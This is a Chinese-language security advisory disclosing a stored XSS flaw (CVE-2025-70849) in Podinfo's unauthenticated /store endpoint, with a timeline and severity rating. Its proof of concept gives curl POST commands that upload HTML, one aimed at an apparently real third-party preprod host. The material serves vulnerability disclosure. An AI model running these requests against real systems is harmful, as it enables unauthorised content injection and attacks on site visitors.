CVE-2025-70849：Podinfo中的存储型XSS

摘要

在Podinfo（一个用于演示Kubernetes微服务的Web应用程序）中发现了一个安全漏洞（CWE-79）。/store功能允许未认证用户上传任意的HTML/JS内容，导致存储型XSS。

漏洞详情

• CVE ID: CVE-2025-70849
• 产品: Podinfo
• 受影响端点: /store
• 漏洞类型: 存储型跨站脚本（XSS）
• 受影响版本: <= 6.10.0

概念验证（PoC）

1. 发送恶意payload：
   root@kitploit:~

   curl -X POST https://target/store -H "Content-Type: text/html" -d '<h1>CVE-2025-70849</h1>'
   

   带有实时目标的示例：
   root@kitploit:~

   curl -X POST https://podinfo.xcr.preprod55.prepd.eastus.kaas.sws.siemens.com/store -H "Content-Type: text/html" -d '<h1>CVE-2025-70849</h1>'
   

2. 访问返回的哈希值：https:///store/

   示例：https://podinfo.xcr.preprod55.prepd.eastus.kaas.sws.siemens.com/store/8c1591e1b1e025067a2d73c0853b9a76bd8fc91a

   

时间线

• 发现: 2025年9月
• 通知厂商: 2025年10月25日
• 厂商回应: 已确认；表示目前没有修复时间表。
• 公开披露: 2026年2月

免责声明 本研究仅用于教育目的。

致谢：

Kazi Sabbir |

严重程度：中 6.4